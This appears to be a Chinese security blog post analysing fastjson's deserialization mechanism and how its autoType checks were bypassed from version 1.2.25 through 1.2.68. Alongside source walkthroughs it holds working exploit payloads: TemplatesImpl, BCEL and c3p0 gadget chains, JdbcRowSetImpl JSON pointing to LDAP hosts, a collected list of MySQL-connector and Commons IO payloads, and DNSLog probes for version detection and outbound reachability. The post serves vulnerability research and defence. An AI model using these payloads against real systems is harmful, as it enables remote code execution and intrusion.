前言

fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,,而是自定义了一套机制.使其利用角度不局限于传统的readobject,利用方法更加多元化,再加上其灵活全面的json解析方案,使得传统的流量waf很难做到有效拦截

由此可以看出强大的工具在提供便利开放的服务的同时,也会带来更多意想不到的安全问题

fastjson序列化和反序列化

Fastjson 是一个高性能的 Java JSON 库,由阿里巴巴集团开发和维护。它提供了简单易用的 API,可以在JsonJava Bean对象之间进行快速、灵活的转换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class People {
private String name = "mayylu";
private int age = 18;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge(){
return age;
}
public void setAge(int age){
this.age = age;
}
}



import com.alibaba.fastjson.*;

public class test {
public static void main(String[] args) {
People peo = new People();
String Json = JSON.toJSONString(peo, SerializerFeature.WriteClassName);//序列化
JSONObject obj = JSON.parseObject(Json);//反序列化
System.out.println(obj.getClass());
System.out.println(obj.get("age"));
System.out.println(obj.get("name"));
}
}

JSON.parse 和 JSON.parseObject

parseObject

1
2
3
4
5
6
7
8
9
10
11
12
    public static JSONObject parseObject(String text) {
Object obj = parse(text);//首先调用 JSON.parse 函数
if (obj instanceof JSONObject) {
return (JSONObject) obj;
}
//这里 toJSON 会把obj套一层 JSONObject 对象,他的实现方法是先new一个 JSONObject ,把obj对象给填充进去;然后调用 toJSONString 把生成的 JSONObject 转化为json字符串;最后再调用 parse 函数将这个json字符串给还原。
try {
return (JSONObject) JSON.toJSON(obj);
} catch (RuntimeException e) {
throw new JSONException("can not cast to JSONObject.", e);
}
}

parse

getter/setter方法需要满足的要求

具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。目的是筛选目标类里复合要求的getter/setter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {//Clazz为type指定的类
JSONType jsonType = clazz.getAnnotation(JSONType.class);

Class<?> builderClass = getBuilderClass(jsonType);

Field[] declaredFields = clazz.getDeclaredFields();
Method[] methods = clazz.getMethods();
Constructor<?> defaultConstructor = getDefaultConstructor(builderClass == null ? clazz : builderClass);
Constructor<?> creatorConstructor = null;
Method buildMethod = null;

List<FieldInfo> fieldList = new ArrayList<FieldInfo>();
...
if (defaultConstructor != null) {
TypeUtils.setAccessible(defaultConstructor);
}
for (Method method : methods) { //写了两个循环这个是setter的
int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
String methodName = method.getName();

if (Modifier.isStatic(method.getModifiers())) {//非静态函数
continue;
}

Class<?> returnType = method.getReturnType();
if (!(returnType.equals(Void.TYPE) || returnType.equals(method.getDeclaringClass())))//限制返回类型为void或当前类
{
continue;
}

if (method.getDeclaringClass() == Object.class) {//不能为object类
continue;
}

Class<?>[] types = method.getParameterTypes();

if (types.length == 0 || types.length > 2) {//函数参数只有一个
continue;
}
if (annotation == null && methodName.length() < 4) {//函数名长度大于等于4
continue;
}
if (annotation == null && !methodName.startsWith("set")) { //验证是否是set开头的
continue;
}
char c3 = methodName.charAt(3);

String propertyName;
//第四个字符是大写或者 unicde 或者 _ 或者字母f
if (Character.isUpperCase(c3)
|| c3 > 512
) {
if (TypeUtils.compatibleWithJavaBean) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
}
} else if (c3 == '_') {
propertyName = methodName.substring(4);
} else if (c3 == 'f') {
propertyName = methodName.substring(3);
} else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
propertyName = TypeUtils.decapitalize(methodName.substring(3));
} else {
continue;
}



for (Method method : methods) { // getter methods
int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
String methodName = method.getName();
if (methodName.length() < 4) {//函数名长度大于等于4
continue;
}
if (Modifier.isStatic(method.getModifiers())) {//非静态函数
continue;
}

if (builderClass == null && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {//限制函数名以get开头,第四个字符大写
if (method.getParameterTypes().length != 0) {//函数参数为0个
continue;
}
//getter方法返回的类型需要是 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong的子类或实现类
if (Collection.class.isAssignableFrom(method.getReturnType()) //
|| Map.class.isAssignableFrom(method.getReturnType()) //
|| AtomicBoolean.class == method.getReturnType() //
|| AtomicInteger.class == method.getReturnType() //
|| AtomicLong.class == method.getReturnType() //
) {

FieldInfo fieldInfo = getField(fieldList, propertyName);
if (fieldInfo != null) {//无相对应的setter函数
continue;
}
.....
如何寻找get/set方法

fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public FieldDeserializer smartMatch(String key) {//这里的key是json的键名
if (key == null) {
return null;
}
....

if (fieldDeserializer == null) {
boolean snakeOrkebab = false;
String key2 = null;
//忽略 _|- 字符串,例如字段名叫 _a_g_e_,getter 方法为 getAge()
for (int i = 0; i < key.length(); ++i) {
char ch = key.charAt(i);
if (ch == '_') {
snakeOrkebab = true;
key2 = key.replaceAll("_", "");
break;
} else if (ch == '-') {
snakeOrkebab = true;
key2 = key.replaceAll("-", "");
break;
}
}
.....
自动进行 base64 解码

如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//com.alibaba.fastjson.parser.DefaultJSONParser
public <T> T parseObject(Type type, Object fieldName) {
int token = lexer.token();
if (token == JSONToken.NULL) {
lexer.nextToken();
return null;
}

if (token == JSONToken.LITERAL_STRING) {
if (type == byte[].class) {
byte[] bytes = lexer.bytesValue();
lexer.nextToken();
return (T) bytes;
}
//com.alibaba.fastjson.parser.JSONScanner#bytesValue
public byte[] bytesValue() {
return IOUtils.decodeBase64(text, np + 1, sp);
}

突破parse调用getters的限制

根据build函数,parse 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法

  1. JSONObject嵌套
    当前object为JSONObject类型时,将会对当前的这个key调用 toString 函数。JSONObject是Map的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getter 、is等方法
  2. $ref
    当fastjson版本>=1.2.36时,可以通过$ref指定被引用的属性

Fastjson加载字节码

我们在利用 @type 构造有危害的利用链时,主要就是查找有危害的无参数的构造函数、符合条件的getter和setter。

TemplatesImpl利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.Feature;

public class test {
public static void main(String[] args) {
String evilCode=Base64.getEncoder().encodeToString(new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
String json="{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\": [\""+evilCode+"\"],\n" +
" \"_name\": \"Code\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {}\n" +
" }\n" +
"}";
JSON.parseObject(json, Feature.SupportNonPublicField);//我们更改的私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField 参数,所以此方法并不常用
}
}

需要开启Feature.SupportNonPublicField,比较鸡肋

bcel利用链(在Java 8u251以后,bcel类被删除)

在前面我们说过bcel自定义的ClassLoader可以将传入的classname当作字节码来加载,所以我们只需要关注哪里可以自定义类加载器即可,我们找到了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource
调用链:BasicDataSource.getConnection() > createDataSource() ​ > createConnectionFactory()

1
2
3
4
5
6
7
8
9
10
11
12
public class BasicDataSource implements DataSource, BasicDataSourceMXBean, MBeanRegistration, AutoCloseable {

protected ConnectionFactory createConnectionFactory() throws SQLException {

...

if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
...
1
2
3
4
5
6
7
8
9
10
11
12
13
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}

c3p0二次反序列化

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。使用它的开源项目有Hibernate、Spring等

1
2
3
4
{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
}

c3p0很久之前就遇到了,但是感觉这个链子没有什么新东西,就没有写博客,之前没写过,这里就详细写写

利用链

想解析userOverridesAsString属性,至少需要调用两次构造函数,第一次初始化时userOverridesAsString的值设为NULL,第二次为fastjson触发的set方法调用
QQ20241128-231412

懒得分析了真没什么特殊的地方
parseUserOverridesAsString:314, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)

最后调用parseUserOverridesAsString方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
if (userOverridesAsString != null) {
//String payload = "HexAsciiSerializedMap:"+HexString+":";
String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);//hex转字节码
return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
} else {
return Collections.EMPTY_MAP;
}
}
public static Object fromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
Object var1 = deserializeFromByteArray(var0);
return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1;
}
public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));
return var1.readObject();//反序列化点
}

fastjson高版本绕过

fastjson-1.2.25

在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制

QQ截图20231013192549
可以看到示例代码已经无法执行了

添加反序列化白名单有3种方法:
1.使用代码进行添加:ParserConfig.getGlobalInstance().addAccept(“org.su18.fastjson.,org.javaweb.”)
2.加上JVM启动参数:-Dfastjson.parser.autoTypeAccept=org.su18.fastjson.
3.在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.su18.fastjson.

打开autotype功能
1、JVM启动参数
-Dfastjson.parser.autoTypeSupport=true

2、代码中设置
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

checkAutoType

com.alibaba.fastjson.parser.ParserConfig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {//typeName为type指定的类,expectClass可以理解为上一个type
if (typeName == null) {
return null;
}
if (autoTypeSupport || expectClass != null) {//默认情况下 autoTypeSupport为false
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {//白名单加载
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {//黑名单过滤
throw new JSONException("autoType is not support. " + typeName);
}
}
}


Class<?> clazz = TypeUtils.getClassFromMapping(typeName);// 尝试在 TypeUtils.mappings 中查找缓存的 class
if (clazz == null) {
clazz = deserializers.findClass(typeName);// deserializers里都是些认为没有危害的固定常用类,如果设置了要转换的类型也会被加载到里面
}
// 如果找到了对应的 class,则会进行 return
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}


if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {//先使用黑名单匹配过滤
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {//再使用白名单匹配和加载
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
//也就是说默认只能符合白名单检测,开启autoType只有黑名单检测
if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {//有 JSONType 注解的类直接返回
return clazz;
}
.....
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);//如果到这一步,白名单直接报错,黑名单返回
}
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
return clazz;

也就是说默认只能符合白名单检测开启autoType****只有黑名单检测

TypeUtils loadClass

com.alibaba.fastjson.util.TypeUtils

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}

Class<?> clazz = mappings.get(className);
// 防止重复添加
if (clazz != null) {
return clazz;
}
//兼容带有描述符的类名, [ 表示数组类型, L 表示非数组引用类型的开始,而 ; 表示非数组引用类型的结束
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);//递归调用去除开头的'['
return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);////递归调用成对去除开头的'L'和结尾的';'
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
}

示例

在开启开启 autoType的情况下,使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。

1
2
3
4
5
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}

fastjson-1.2.42

改动一

作者将原本的明文黑名单转为使用了 Hash 黑名单,防止安全人员对其研究。(谜之操作)

改动二

checkAutoType开头处进行判断,如果类的第一个字符是 L 结尾是 ;,则使用 substring进行了去除

1
2
3
4
5
6
7
8
9
10
11
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;

if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}

示例

只删了1次,双写绕过即可

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}

fastjson 1.2.43

增加了限制:如果以L开头;结尾,并且开头是两个LL的话,将会抛出异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}

示例

但是作者好像忘了‘[’

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}

fastjson-1.2.44

在此版本将 [ 也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。

fastjson-1.2.47(通杀)

1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;

可以看如果如果是白名单模式,只能使用@type加载白名单规定的类,JSONType,自定义转换类(如果有),和一些无害类,但是我们可以利用缓存机制进行绕过

checkAutoType

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//1.2.32 后判断条件变成了:当反序列化的类在黑名单中,且 TypeUtils.mappings 中没有该类的缓存时,才会抛出异常
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;

//黑名单校验
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

//白名单校验
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}
......
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

也就是说即使传入的类名在黑名单里,但是Mapping缓冲里有该类名也不会报错,并且直接返回

TypeUtils

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
public class TypeUtils{

public static Class<?> getClassFromMapping(String className){
return mappings.get(className);
}
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {

...
//对类名进行检查和判断
try{
//第一处,classLoader不为null
if(classLoader != null){
clazz = classLoader.loadClass(className);

//如果chche为true,则将我们输入的className缓存入mapping中
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

//第二处,检查较为严格
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);

//如果chche为true,则将我们输入的className缓存入mapping中
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}

//第三处,限制宽松
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}

也就是说如果已经加载的类,当我们再次调用时,会直接加载,我们看看别的地方有没有也调用loadClass

MiscCodec

在MiscCodec中如果传入类是java.lang.Class,会解析 json 中 “val” 中的内容,并放入 objVal 中,如果不是 “val” 将会报错。最终作为参数调用loadClass方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Object objVal;

//if判断默认为true
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);

if (lexer.token() == JSONToken.LITERAL_STRING) {

//必须有val属性
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

//objVal的值为从JSON中解析到的val的值
objVal = parser.parse();

parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}
String strVal;

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
}
.....
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

示例

1
2
3
4
5
6
7
8
9
10
11
12
{
"1":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
}

"2":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:9999/EXP",
"autoCommit":"true"
}
}

fastjson-1.2.68

官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
   public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
..............
//第一次加载时:AutoCloseable 在map中,所以即使开启了checkAutoType,AutoCloseable也能被加载
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) { //isAssignableFrom()用于判断某个类是否是另一个类的父类或实现了某个接口
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
.....
if (!autoTypeSupport) {//经典黑名单过滤,白名单加载
......
//第二次加载: 如果函数有 expectClass 入参,且我们传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以通过 checkAutoType() 的报错前,加载出去

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}

if (clazz != null) {
TypeUtils.addMapping(typeName, clazz);
}
return clazz;

这种机制可以看成两个type,且第一个type已经在mapping中或是白名单中就可以顺利加载,并且可以成为第二个type的expectClass
第二个type,如果没有被过滤,并且是expectClass 的子类或实现,就会被加载并添加到缓存中

有可控的 expectClass 的入参方式
有AutoCloseable ,Throwable 等

1
2
3
4
5
6
7
8
9
{
"x":{
"@type":"java.lang.Exception",
"@type":"org.openqa.selenium.WebDriverException"
},
"content":{
"$ref":"$x.systemInformation"
}
}

AutoCloseable绕过

这个java.lang.AutoCloseable接口存在于mapping的缓存中
所以只要找到一个类实现了AutoCloseable接口的类,并且这个类不存在于黑名单中就可以利用了

暂时不想写
收集了一些payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//jdbc的反序列化
//Mysql connector 5.1.11-5.1.48
{"name": {"@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "127.0.0.1", "portToConnectTo": 3306, "info": { "user": "CommonsCollections5", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" }}

//Mysql connector 6.0.2 or 6.0.3
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection","proxy": {"connectionString":{"url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5"}}}

//Mysql connector 8.0.19
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy":{"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl", "masters":[{"host":"127.0.0.1"}], "slaves":[],"properties":{"host":"127.0.0.1","user":"CommonsCollections5","dbname":"dbname","password":"pass","queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"}}}}

//Commons IO 2.x 写文件
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///D:/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [66]
}]
},
"address": {
"$ref": "$.abc.BOM"
}
}

实战

这里先贴几个版本探测的payload,个人感觉挺好用的
Set[{"name":{"@type":"java.net.Inet4Address","val":"heknpm.dnslog.cn"}}]

[{"a":"a\x]

探测出网
{"name":{"@type":"java.net.Inet4Address","val":"cx7xrs.ceye.io"}

{"@type":"java.net.InetSocketAddress"{"address":,"val":"wefewffw.dnslog.cn"}}